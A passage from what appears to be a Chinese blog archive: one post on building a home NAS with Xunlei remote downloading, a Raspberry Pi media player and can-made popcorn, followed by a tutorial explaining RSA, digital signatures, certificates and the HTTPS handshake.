[![98351406683841](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/40c4d5bb51_95463d35bae41e3d040d5129538ccc25.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/40c4d5bb51_95463d35bae41e3d040d5129538ccc25.jpg "跟我学姿势:极客教你如何科学的看电影") 然后等一两分钟、用群晖助手扫下网络查找会到1台nas的提示、右键安装 群晖助手[http://global.download.synology. … tSetup-5.0-4448.exe](http://global.download.synology.com/download/Tools/SynologyAssistant/4448/Windows/SynologyAssistantSetup-5.0-4448.exe) pat文件选用[4482](http://global.download.synology.com/download/DSM/5.0/4482/)以上的版本。根据硬件选择: 安装完之后、联机、用户密码刚刚设置的、如果没有设置用户名:admin密码:空 [![43771406683841](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/5065928bc1_ffdd09711a203c95073a53ad58ce17b6.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/5065928bc1_ffdd09711a203c95073a53ad58ce17b6.jpg "跟我学姿势:极客教你如何科学的看电影") 华丽丽的DSM5.0登陆界面出现了 [![88001406683842](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/cca10cdd96_69acf1d55cc7134a008953d1b854d320.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/cca10cdd96_69acf1d55cc7134a008953d1b854d320.jpg "跟我学姿势:极客教你如何科学的看电影") **剩下的就是折腾了** 由于群晖DOWNLOAD STATION 下载速度慢不太(la)好(ji)用,还是用迅雷的靠谱 通过nas网页文件管理吧迅雷固件解压上传上去 固件地址: 打开控制面板-终端机-打开 telnet or ssh 登陆用户名:root密码:你自己设置 然后执行./volume1/刚刚上传地方/portal **注意启动时输出有一行:** THE ACTIVE CODE IS: 42SND1 “42SND1”为迅雷离线激活码 也可以在浏览器中输入[http://NAS地址:9000/getsysinfo](http://192.168.1.1:9000/getsysinfo)(IP替换为你路由器的IP,端口换为你的控制端口),会看到类似如下信息: [ 0, 1, 1, 0, “42SND1″,1, “201_2.1.3.121″, “”, 1 ] **其中有用的几项为:** 第一项:0表示返回结果成功 第二项:1表示检测网络正常,0表示检测网络异常 第四项:1表示已绑定成功,0表示未绑定 第五项:未绑定的情况下,为绑定的需要的激活码 第六项:1表示磁盘挂载检测成功,0表示磁盘挂载检测失败 之后进入迅雷远程下载页面并登录[http://yuancheng.xunlei.com](http://yuancheng.xunlei.com/),添加NAS设备并填入刚才查到的激活码绑定NAS。 绑定完成之后就可以下载喜欢的(cang)电(jing)影(kong)了! [![27251406683843](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/fcae7d67ac_be1b6051f760bcf04372ff4831fbf481.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/fcae7d67ac_be1b6051f760bcf04372ff4831fbf481.jpg "跟我学姿势:极客教你如何科学的看电影") **以下部分可以咯过!** 这部分的目的是吧nas直接放进弱电箱、脱了机箱困扰、但具有一定的风险性! 吧机箱连接主板的线拔了、记着开机(power SW标签)连接两个引脚的位置、开机拿钥匙或者其他金属物体连接两个引脚即可! [![3541406683843](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/729fd64d6c_94d9e408ef510967387a10ca668f86c6.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/729fd64d6c_94d9e408ef510967387a10ca668f86c6.jpg "跟我学姿势:极客教你如何科学的看电影") 将主板、电源、硬盘上的螺丝拧开、拿出来。 [![66461406683844](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/30a29aa881_0cfcc320691d9ad3e8a19ff256f9cbc8.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/30a29aa881_0cfcc320691d9ad3e8a19ff256f9cbc8.jpg "跟我学姿势:极客教你如何科学的看电影") [![80141406683845](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/a14c768443_de8b91e7581d1bb1bc10ec62a749b96d.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/a14c768443_de8b91e7581d1bb1bc10ec62a749b96d.jpg "跟我学姿势:极客教你如何科学的看电影") 由于是老电脑了、一打开全是灰、建议是拿无水酒精、牙刷进行清理! [![33061406683845](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b6d7b4ce71_823939ab13ab7ff4421ef22a119c3df3.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/b6d7b4ce71_823939ab13ab7ff4421ef22a119c3df3.jpg "跟我学姿势:极客教你如何科学的看电影") 然后放进弱电箱、打孔用螺丝吧主板、硬盘固定住!然后就让他在弱电箱里吃灰! [![63771406683846](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/48052cf72a_66113d175ed617d87719403d439bfb72.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/48052cf72a_66113d175ed617d87719403d439bfb72.jpg "跟我学姿势:极客教你如何科学的看电影") [![81991406683848](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/0cad5ce41a_d0a838e8ce86fc0a499d3574b0aebec6.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/0cad5ce41a_d0a838e8ce86fc0a499d3574b0aebec6.jpg "跟我学姿势:极客教你如何科学的看电影") **接下来是树莓派部分** 1、树莓派 2、hdmi链接电视(主要是看电视接口、大多数都是hdmi) 3、网线or无线网卡 4、储存卡 通过Raspbmc的Installer烧到SD卡上、然后将烧录好的sd卡放入树莓派即可、 Raspbmc的Installer:http://212.187.212.70/bt/59a769cff6df1f5301def9b50ce4d54120ded179/data/raspbmc-win32.zip 如果局域网中没有DHCP服务器的话,还能事先设置好IP地址,需要注意的是,Raspbmc在树莓派上的安装全程需要网络支持,所以网络设置如果出错的话,则无法正常安装!需要手动设置ip。或者要连接无线网络请勾上Manually configure networking Iacept tlicense agreem是同意协议意思、然后点击Install安装。 [![53211406683848](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/172188cb77_37c2bbab8b976ad2b8f95cb679f09334.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/172188cb77_37c2bbab8b976ad2b8f95cb679f09334.jpg "跟我学姿势:极客教你如何科学的看电影") 将sd卡放置在树莓派上开机即可、Raspbmc在树莓派上的安装时间取决于网络,因为SD卡中的只有安装用的引导程序,其他全部都需要从网络上进行下载、此过程无需操作,开树莓派连接上网络即可。 安装过程需要15-25分钟,如果你家里网络很慢的话,一晚上也说不定的哦…… [![39191406683849](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/1d8181615b_8c9921b2964b6ba4af039d3d1a60c94b.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/1d8181615b_8c9921b2964b6ba4af039d3d1a60c94b.jpg "跟我学姿势:极客教你如何科学的看电影") [![97741406683850](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/62b77cf924_c72bf413d0a33c2485ca20c4c1c82ee6.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/62b77cf924_c72bf413d0a33c2485ca20c4c1c82ee6.jpg "跟我学姿势:极客教你如何科学的看电影") **安装好之后设置为中文、当然如果你看的懂英文可以跳过这一步** System—Settings–Appearance–Skin–Fonts–设置为Arial based Appearance–International–Language–设置为Chinese(Simple) Appearance–Region–设置为Beijing(12h)或者Beijing(24h) Appearance–Character set–设置为Chinese Simplified(GBK) 然后在视频-文件、添加视频源(NAS通过迅雷远程下载好的电影)、或者安装相关的插件在线直播体验机顶盒的感觉! [![47111406683850](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/fbf339cf15_f4224d08f1f5c6b2eff1dcd539a866a4.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/fbf339cf15_f4224d08f1f5c6b2eff1dcd539a866a4.jpg "跟我学姿势:极客教你如何科学的看电影") [![64751406683851](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/7fd6e2ef20_16f7c766c8d0e8b729debf3fc7b8e57a.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/7fd6e2ef20_16f7c766c8d0e8b729debf3fc7b8e57a.jpg "跟我学姿势:极客教你如何科学的看电影") [![58161406683852](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/d94d614e9e_5cb01b43d45d17a8c5cf11761b55e213.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/d94d614e9e_5cb01b43d45d17a8c5cf11761b55e213.jpg "跟我学姿势:极客教你如何科学的看电影") **如果你觉得做了以上的步骤还觉得不过瘾、或者说开电影没爆米花吃不过瘾、很好我们可以接着往下走!** 作死部分需要准备 1、三个易拉罐 2、酒精or固态酒精(一般在药店就可以买到酒精和脱脂棉花) 3、美工刀 4、玉米、油or黄油 把两个易拉罐用美工刀切至同一水平线 [![47211406683852](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/3c6dafaa28_7b2eb811eabdd0c8a3948c018312e4bd.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/3c6dafaa28_7b2eb811eabdd0c8a3948c018312e4bd.jpg "跟我学姿势:极客教你如何科学的看电影") 把其中一个易拉罐做一些特殊处理、不然不好合上 [![53331406683854](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/8d5c26d319_b286ebb4d1ab1cb98c868547f970129c.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/8d5c26d319_b286ebb4d1ab1cb98c868547f970129c.jpg "跟我学姿势:极客教你如何科学的看电影") 用美工刀进行打孔! [![83851406683855](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/71b312ed32_f4fd5820f143709c8f0e52f9b6b27d09.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/71b312ed32_f4fd5820f143709c8f0e52f9b6b27d09.jpg "跟我学姿势:极客教你如何科学的看电影") [![28241406683855](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/77a6cf9630_30595f94ea7c55bb10efcdfecb954677.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/77a6cf9630_30595f94ea7c55bb10efcdfecb954677.jpg "跟我学姿势:极客教你如何科学的看电影") 酒精和棉花(可不放棉花) [![51361406683856](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/63f1632c5c_2fbf073b3f020463961a6d5345e0dff8.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/63f1632c5c_2fbf073b3f020463961a6d5345e0dff8.jpg "跟我学姿势:极客教你如何科学的看电影") [![14301406683857](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ed54b71e3e_f1281d3988614ef3074f97c193056549.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/ed54b71e3e_f1281d3988614ef3074f97c193056549.jpg "跟我学姿势:极客教你如何科学的看电影") 大概的雏形 [![95591406683857](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/8af6e9f138_8dba05c7ce7f133677ec7a46a9ecc370.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/8af6e9f138_8dba05c7ce7f133677ec7a46a9ecc370.jpg "跟我学姿势:极客教你如何科学的看电影") 做爆米花的材料 [![15811406683858](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/3ff2092ce4_ff5969d6d9d25687086431045e6d3edc.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/3ff2092ce4_ff5969d6d9d25687086431045e6d3edc.jpg "跟我学姿势:极客教你如何科学的看电影") 然后将材料放入大一点易拉罐中并进行易拉罐开口处理 [![30941406683859](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/0c09be83f5_ec6a4b8134d22cfe7dd899640d216745.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/0c09be83f5_ec6a4b8134d22cfe7dd899640d216745.jpg "跟我学姿势:极客教你如何科学的看电影") 点燃酒精灯!坐等吃爆米花即可 [![96811406683859](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/841f239798_c7abd73729c75952a9ac9ae1c71adf17.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/841f239798_c7abd73729c75952a9ac9ae1c71adf17.jpg "跟我学姿势:极客教你如何科学的看电影") [![97151406683860](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/170bb86922_1190d8c13a0d7c45751cfa95ec6169da.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/170bb86922_1190d8c13a0d7c45751cfa95ec6169da.jpg "跟我学姿势:极客教你如何科学的看电影") [![62091406683861](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/26dd356a2c_ff312cf6e2647fb0f4bd83195730fd22.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/26dd356a2c_ff312cf6e2647fb0f4bd83195730fd22.jpg "跟我学姿势:极客教你如何科学的看电影") [![69591406683861](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/6435c7c20c_ee40ad93796fa9e9904789b597bbf2de.jpg)](http://blog.wo.ai/wp-content/plugins/wp-o-matic/cache/6435c7c20c_ee40ad93796fa9e9904789b597bbf2de.jpg "跟我学姿势:极客教你如何科学的看电影") 然后边喝着饮料、边吃着爆米花、用树莓派播放着nas下载好自己喜欢看的**(cang)电(jing)影(kong)** 、电视剧了! [跟我学姿势:极客教你如何科学的看电影](http://www.geekfan.net/10962/),首发于[极客范 – GeekFan.net](http://www.geekfan.net)。 --- ## 数字证书原理 Date: 2014-07-31 URL: https://blog.wo.ai/archives/753 Categories: Uncategorized 文中首先解释了加密解密的一些基础知识和概念,然后通过一个加密通信过程的例子说明了加密算法的作用,以及数字证书的出现所起的作用。接着对数字证书做一个详细的解释,并讨论一下windows中数字证书的管理,最后演示使用makecert生成数字证书。如果发现文中有错误的地方,或者有什么地方说得不够清楚,欢迎指出! ##### 1、基础知识 这部分内容主要解释一些概念和术语,最好是先理解这部分内容。 ###### 1.1、公钥密码体制(public-key cryptography) 公钥密码体制分为三个部分,公钥、私钥、加密解密算法,它的加密解密过程如下: * 加密:通过加密算法和公钥对内容(或者说明文)进行加密,得到密文。加密过程需要用到公钥。 * 解密:通过解密算法和私钥对密文进行解密,得到明文。解密过程需要用到解密算法和私钥。注意,由公钥加密的内容,只能由私钥进行解密,也就是说,由公钥加密的内容,如果不知道私钥,是无法解密的。 公钥密码体制的公钥和算法都是公开的(这是为什么叫公钥密码体制的原因),私钥是保密的。大家都以使用公钥进行加密,但是只有私钥的持有者才能解密。在实际的使用中,有需要的人会生成一对公钥和私钥,把公钥发布出去给别人使用,自己保留私钥。 ###### 1.2、对称加密算法(symmetric key algorithms) 在对称加密算法中,加密使用的密钥和解密使用的密钥是相同的。也就是说,加密和解密都是使用的同一个密钥。因此对称加密算法要保证安全性的话,密钥要做好保密,只能让使用的人知道,不能对外公开。这个和上面的公钥密码体制有所不同,公钥密码体制中加密是用公钥,解密使用私钥,而对称加密算法中,加密和解密都是使用同一个密钥,不区分公钥和私钥。 // 密钥,一般就是一个字符串或数字,在加密或者解密时传递给加密/解密算法。前面在公钥密码体制中说到的公钥、私钥就是密钥,公钥是加密使用的密钥,私钥是解密使用的密钥。 ###### ###### 1.3、非对称加密算法(asymmetric key algorithms) 在非对称加密算法中,加密使用的密钥和解密使用的密钥是不相同的。前面所说的公钥密码体制就是一种非对称加密算法,他的公钥和是私钥是不能相同的,也就是说加密使用的密钥和解密使用的密钥不同,因此它是一个非对称加密算法。 ###### 1.4、RSA简介 RSA是一种公钥密码体制,现在使用得很广泛。如果对RSA本身有兴趣的,后面看我有没有时间写个RSA的具体介绍。 RSA密码体制是一种公钥密码体制,公钥公开,私钥保密,它的加密解密算法是公开的。 由公钥加密的内容可以并且只能由私钥进行解密,并且由私钥加密的内容可以并且只能由公钥进行解密。也就是说,**RSA的这一对公钥、私钥都可以用来加密和解密,并且一方加密的内容可以由并且只能由对方进行解密** 。 ###### 1.5、签名和加密 我们说加密,是指对某个内容加密,加密后的内容还可以通过解密进行还原。 比如我们把一封邮件进行加密,加密后的内容在网络上进行传输,接收者在收到后,通过解密可以还原邮件的真实内容。 这里主要解释一下签名,签名就是在**信息** 的后面再加上一段内容,可以证明**信息** 没有被修改过,怎么样可以达到这个效果呢?一般是对**信息** 做一个hash计算得到一个hash值,注意,这个过程是不可逆的,也就是说无法通过hash值得出原来的**信息** 内容。在把**信息** 发送出去时,把这个hash值加密后做为一个签名和**信息** 一起发出去。 接收方在收到**信息** 后,会重新计算**信息** 的hash值,并和**信息** 所附带的hash值(解密后)进行对比,如果一致,就说明信息的内容没有被修改过,因为这里hash计算可以保证不同的内容一定会得到不同的hash值,所以只要内容一被修改,根据**信息** 内容计算的hash值就会变化。当然,不怀好意的人也可以修改**信息** 内容的同时也修改hash值,从而让它们可以相匹配,为了防止这种情况,hash值一般都会加密后(也就是签名)再和**信息** 一起发送,以保证这个hash值不被修改。至于如何让别人可以解密这个签名,这个过程涉及到数字证书等概念,我们后面在说到数字证书时再详细说明,这里您先只需先理解签名的这个概念。 ##### 2、一个加密通信过程的演化 我们来看一个例子,现在假设“服务器”和“客户”要在网络上通信,并且他们打算使用RSA(参看前面的RSA简介)来对通信进行加密以保证谈话内容的安全。由于是使用RSA这种公钥密码体制,“服务器”需要对外发布公钥(算法不需要公布,RSA的算法大家都知道),自己留着私钥。“客户”通过某些途径拿到了“服务器”发布的公钥,客户并不知道私钥。“客户”具体是通过什么途径获取公钥的,我们后面再来说明,下面看一下双方如何进行保密的通信: ###### 2.1 第一回合: “客户”->“服务器”:你好 “服务器”->“客户”:你好,我是服务器 “客户”->“服务器”:???? 因为消息是在网络上传输的,有人可以冒充自己是“服务器”来向客户发送信息。例如上面的消息可以被黑客截获如下: “客户”->“服务器”:你好 “服务器”->“客户”:你好,我是服务器 **“客户”- >“黑客”:你好** // 黑客在“客户”和“服务器”之间的某个路由器上截获“客户”发给服务器的信息,然后自己冒充“服务器” **“黑客”- >“客户”:你好,我是服务器** 因此“客户”在接到消息后,并不能肯定这个消息就是由“服务器”发出的,某些“黑客”也可以冒充“服务器”发出这个消息。如何确定信息是由“服务器”发过来的呢?有一个解决方法,因为只有服务器有私钥,所以如果只要能够确认对方有私钥,那么对方就是“服务器”。因此通信过程可以改进为如下: ###### 2.2 第二回合: “客户”->“服务器”:你好 “服务器”->“客户”:你好,我是服务器 “客户”->“服务器”:向我证明你就是服务器 “服务器”->“客户”:你好,我是服务器 {你好,我是服务器}[私钥|RSA] **//**注** 意这里约定一下,{} 表示RSA加密后的内容,[ | ]表示用什么密钥和算法进行加密,后面的示例中都用这种表示方式,例如上面的** {你好,我是服务器}[私钥|RSA]**就表示用私钥对** “你好,我是服务器”**进行加密后的结果。** 为了向“客户”证明自己是“服务器”, “服务器”把一个字符串用自己的私钥加密,把明文和加密后的密文一起发给“客户”。对于这里的例子来说,就是把字符串 “你好,我是服务器”和这个字符串用私钥加密后的内容 {你好,我是服务器}[私钥|RSA] 发给客户。 “客户”收到信息后,她用自己持有的公钥解密密文,和明文进行对比,如果一致,说明信息的确是由服务器发过来的。也就是说“客户”把 {你好,我是服务器}[私钥|RSA] 这个内容用公钥进行解密,然后和“你好,我是服务器”对比。因为由“服务器”用私钥加密后的内容,**由并且只能由** 公钥进行解密,私钥只有“服务器”持有,所以如果解密出来的内容是能够对得上的,那说明信息一定是从“服务器”发过来的。 假设“黑客”想冒充“服务器”: **“黑客”- >“客户”:你好,我是服务器** **“客户”- >“黑客”:向我证明你就是服务器** **“黑客”- >“客户”:你好,我是服务器 {你好,我是服务器}[???|RSA]** //这里黑客无法冒充,因为他不知道**私钥** ,无法用**私钥** 加密某个字符串后发送给客户去验证。 **“客户”- >“黑客”:????** 由于“黑客”没有“服务器”的私钥,因此它发送过去的内容,“客户”是无法通过服务器的公钥解密的,因此可以认定对方是个冒牌货! 到这里为止,“客户”就可以确认“服务器”的身份了,可以放心和“服务器”进行通信,但是这里有一个问题,通信的内容在网络上还是无法保密。为什么无法保密呢?通信过程不是可以用公钥、私钥加密吗?其实用RSA的私钥和公钥是不行的,我们来具体分析下过程,看下面的演示: ###### 2.3 第三回合: “客户”->“服务器”:你好 “服务器”->“客户”:你好,我是服务器 “客户”->“服务器”:向我证明你就是服务器 “服务器”->“客户”:你好,我是服务器 {你好,我是服务器}[私钥|RSA] “客户”->“服务器”:{我的帐号是aaa,密码是123,把我的余额的信息发给我看看}[公钥|RSA] “服务器”->“客户”:{你的余额是100元}[私钥|RSA] 注意上面的的信息 {你的余额是100元}[私钥],这个是“服务器”用私钥加密后的内容,但是我们之前说了,公钥是发布出去的,因此所有的人都知道公钥,所以除了“客户”,其它的人也可以用公钥对{你的余额是100元}[私钥]进行解密。所以如果“服务器”用私钥加密发给“客户”,这个信息是无法保密的,因为只要有公钥就可以解密这内容。然而“服务器”也不能用公钥对发送的内容进行加密,因为“客户”没有私钥,发送个“客户”也解密不了。 这样问题就又来了,那又如何解决呢?在实际的应用过程,一般是通过引入对称加密来解决这个问题,看下面的演示: ###### 2.4 第四回合: “客户”->“服务器”:你好 “服务器”->“客户”:你好,我是服务器 “客户”->“服务器”:向我证明你就是服务器 “服务器”->“客户”:你好,我是服务器 {你好,我是服务器}[私钥|RSA] “客户”->“服务器”:{我们后面的通信过程,用对称加密来进行,这里是对称加密算法和密钥}[公钥|RSA] //蓝色字体的部分是对称加密的算法和密钥的具体内容,客户把它们发送给服务器。 “服务器”->“客户”:{OK,收到!}[密钥|对称加密算法] “客户”->“服务器”:{我的帐号是aaa,密码是123,把我的余额的信息发给我看看}[密钥|对称加密算法] “服务器”->“客户”:{你的余额是100元}[密钥|对称加密算法] 在上面的通信过程中,“客户”在确认了“服务器”的身份后,“客户”自己选择一个对称加密算法和一个密钥,把这个对称加密算法和密钥一起用公钥加密后发送给“服务器”。注意,由于对称加密算法和密钥是用公钥加密的,就算这个加密后的内容被“黑客”截获了,由于没有私钥,“黑客”也无从知道对称加密算法和密钥的内容。 由于是用公钥加密的,只有私钥能够解密,这样就可以保证只有服务器可以知道对称加密算法和密钥,而其它人不可能知道(这个对称加密算法和密钥是“客户”自己选择的,所以“客户”自己当然知道如何解密加密)。这样“服务器”和“客户”就可以用对称加密算法和密钥来加密通信的内容了。 总结一下,RSA加密算法在这个通信过程中所起到的作用主要有两个: * **因为私钥只有“服务器”拥有,因此“客户”可以通过判断对方是否有私钥来判断对方是否是“服务器”。** * **客户端通过RSA的掩护,安全的和服务器商量好一个对称加密算法和密钥来保证后面通信过程内容的安全。** 如果这里您理解了为什么不用RSA去加密通信过程,而是要再确定一个对称加密算法来保证通信过程的安全,那么就说明前面的内容您已经理解了。(如果不清楚,再看下2.3和2.4,如果还是不清楚,那应该是我们说清楚,您可以留言提问。) 到这里,“客户”就可以确认“服务器”的身份,并且双方的通信内容可以进行加密,其他人就算截获了通信内容,也无法解密。的确,好像通信的过程是比较安全了。 但是这里还留有一个问题,在最开始我们就说过,“服务器”要对外发布公钥,那“服务器”如何把公钥发送给“客户”呢?我们第一反应可能会想到以下的两个方法: a)把公钥放到互联网的某个地方的一个下载地址,事先给“客户”去下载。 b)每次和“客户”开始通信时,“服务器”把公钥发给“客户”。 但是这个两个方法都有一定的问题, 对于a)方法,“客户”无法确定这个下载地址是不是“服务器”发布的,你凭什么就相信这个地址下载的东西就是“服务器”发布的而不是别人伪造的呢,万一下载到一个假的怎么办?另外要所有的“客户”都在通信前事先去下载公钥也很不现实。 对于b)方法,也有问题,因为任何人都可以自己生成一对公钥和私钥,他只要向“客户”发送他自己的私钥就可以冒充“服务器”了。示意如下: “客户”->“黑客”:你好 //黑客截获“客户”发给“服务器”的消息 “黑客”->“客户”:你好,我是服务器,这个是我的公钥 //黑客自己生成一对公钥和私钥,把公钥发给“客户”,自己保留私钥 “客户”->“黑客”:向我证明你就是服务器 “黑客”->“客户”:你好,我是服务器 {你好,我是服务器}[黑客自己的私钥|RSA] //客户收到“黑客”用私钥加密的信息后,是可以用“黑客”发给自己的公钥解密的,从而会误认为“黑客”是“服务器” 因此“黑客”只需要自己生成一对公钥和私钥,然后把公钥发送给“客户”,自己保留私钥,这样由于“客户”可以用黑客的公钥解密黑客的私钥加密的内容,“客户”就会相信“黑客”是“服务器”,从而导致了安全问题。**这里问题的根源就在于,大家都可以生成公钥、私钥对,无法确认公钥对到底是谁的。** 如果能够确定公钥到底是谁的,就不会有这个问题了。例如,如果收到“黑客”冒充“服务器”发过来的公钥,经过某种检查,如果能够发现这个公钥不是“服务器”的就好了。 为了解决这个问题,数字证书出现了,它可以解决我们上面的问题。先大概看下什么是数字证书,一个证书包含下面的具体内容: * 证书的发布机构 * 证书的有效期 * 公钥 * 证书所有者(Subject) * 签名所使用的算法 * 指纹以及指纹算法 证书的内容的详细解释会在后面详细解释,这里先只需要搞清楚一点,**数字证书可以保证**数字** 证书里的公钥确实是这个证书的所有者(Subject)的,或者证书可以用来确认对方的身份**。也就是说,我们拿到一个数字证书,我们可以判断出这个数字证书到底是谁的。至于是如何判断的,后面会在详细讨论数字证书时详细解释。现在把前面的通信过程使用数字证书修改为如下: ###### 2.5 第五回合: “客户”->“服务器”:你好 “服务器”->“客户”:你好,我是服务器,这里是我的数字证书 //这里用证书代替了公钥 “客户”->“服务器”:向我证明你就是服务器 “服务器”->“客户”:你好,我是服务器 {你好,我是服务器}[私钥|RSA] 注意,上面第二次通信,“服务器”把自己的证书发给了“客户”,而不是发送公钥。“客户”可以根据证书校验这个证书到底是不是“服务器”的,也就是能校验这个证书的所有者是不是“服务器”,从而确认这个证书中的公钥的确是“服务器”的。后面的过程和以前是一样,“客户”让“服务器”证明自己的身份,“服务器”用私钥加密一段内容连同明文一起发给“客户”,“客户”把加密内容用数字证书中的公钥解密后和明文对比,如果一致,那么对方就确实是“服务器”,然后双方协商一个对称加密来保证通信过程的安全。到这里,整个过程就完整了,我们回顾一下: ###### 2.6 完整过程: **step1** : “客户”向服务端发送一个通信请求 “客户”->“服务器”:你好 **step2** : “服务器”向客户发送自己的数字证书。证书中有一个公钥用来加密信息,私钥由“服务器”持有 “服务器”->“客户”:你好,我是服务器,这里是我的数字证书 **step3** : “客户”收到“服务器”的证书后,它会去验证这个数字证书到底是不是“服务器”的,数字证书有没有什么问题,数字证书如果检查没有问题,就说明数字证书中的公钥确实是“服务器”的。检查数字证书后,“客户”会发送一个随机的字符串给“服务器”用私钥去加密,服务器把加密的结果返回给“客户”,“客户”用公钥解密这个返回结果,如果解密结果与之前生成的随机字符串一致,那说明对方确实是私钥的持有者,或者说对方确实是“服务器”。 “客户”->“服务器”:向我证明你就是服务器,这是一个随机字符串 //前面的例子中为了方便解释,用的是“你好”等内容,实际情况下一般是随机生成的一个字符串。 “服务器”->“客户”:{一个随机字符串}[私钥|RSA] **step4** : 验证“服务器”的身份后,“客户”生成一个对称加密算法和密钥,用于后面的通信的加密和解密。这个对称加密算法和密钥,“客户”会用公钥加密后发送给“服务器”,别人截获了也没用,因为只有“服务器”手中有可以解密的私钥。这样,后面“服务器”和“客户”就都可以用对称加密算法来加密和解密通信内容了。 “服务器”->“客户”:{OK,已经收到你发来的对称加密算法和密钥!有什么可以帮到你的?}[密钥|对称加密算法] “客户”->“服务器”:{我的帐号是aaa,密码是123,把我的余额的信息发给我看看}[密钥|对称加密算法] “服务器”->“客户”:{你好,你的余额是100元}[密钥|对称加密算法] …… //继续其它的通信 ###### **2.7 其它问题:** 上面的过程已经十分接近HTTPS的真实通信过程了,完全可以按照这个过程去理解HTTPS的工作原理。但是我为了方便解释,上面有些细节没有说到,有兴趣的人可以看下这部分的内容。可以跳过不看,无关紧要。 【问题1】 上面的通信过程中说到,在检查完证书后,“客户”发送一个随机的字符串给“服务器”去用私钥加密,以便判断对方是否真的持有私钥。但是有一个问题,“黑客”也可以发送一个字符串给“服务器”去加密并且得到加密后的内容,这样对于“服务器”来说是不安全的,因为黑客可以发送一些简单的有规律的字符串给“服务器”加密,从而寻找加密的规律,有可能威胁到私钥的安全。所以说,“服务器”随随便便用私钥去加密一个来路不明的字符串并把结果发送给对方是不安全的。 〖解决方法〗 每次收到“客户”发来的要加密的的字符串时,“服务器”并不是真正的加密这个字符串本身,而是把这个字符串进行一个hash计算,加密这个字符串的hash值(不加密原来的字符串)后发送给“客户”,“客户”收到后解密这个hash值并自己计算字符串的hash值然后进行对比是否一致。也就是说,“服务器”不直接加密收到的字符串,而是加密这个字符串的一个hash值,这样就避免了加密那些有规律的字符串,从而降低被破解的机率。“客户”自己发送的字符串,因此它自己可以计算字符串的hash值,然后再把“服务器”发送过来的加密的hash值和自己计算的进行对比,同样也能确定对方是否是“服务器”。 【问题2】 在双方的通信过程中,“黑客”可以截获发送的加密了的内容,虽然他无法解密这个内容,但是他可以捣乱,例如把信息原封不动的发送多次,扰乱通信过程。 〖解决方法〗 可以给通信的内容加上一个序号或者一个随机的值,如果“客户”或者“服务器”接收到的信息中有之前出现过的序号或者随机值,那么说明有人在通信过程中重发信息内容进行捣乱,双方会立刻停止通信。有人可能会问,如果有人一直这么捣乱怎么办?那不是无法通信了? 答案是的确是这样的,例如有人控制了你连接互联网的路由器,他的确可以针对你。但是一些重要的应用,例如军队或者政府的内部网络,它们都不使用我们平时使用的公网,因此一般人不会破坏到他们的通信。 【问题3】 在双方的通信过程中,“黑客”除了简单的重复发送截获的消息之外,还可以修改截获后的密文修改后再发送,因为修改的是密文,虽然不能完全控制消息解密后的内容,但是仍然会破坏解密后的密文。因此发送过程如果黑客对密文进行了修改,“客户”和“服务器”是无法判断密文是否被修改的。虽然不一定能达到目的,但是“黑客”可以一直这样碰碰运气。 〖解决方法〗 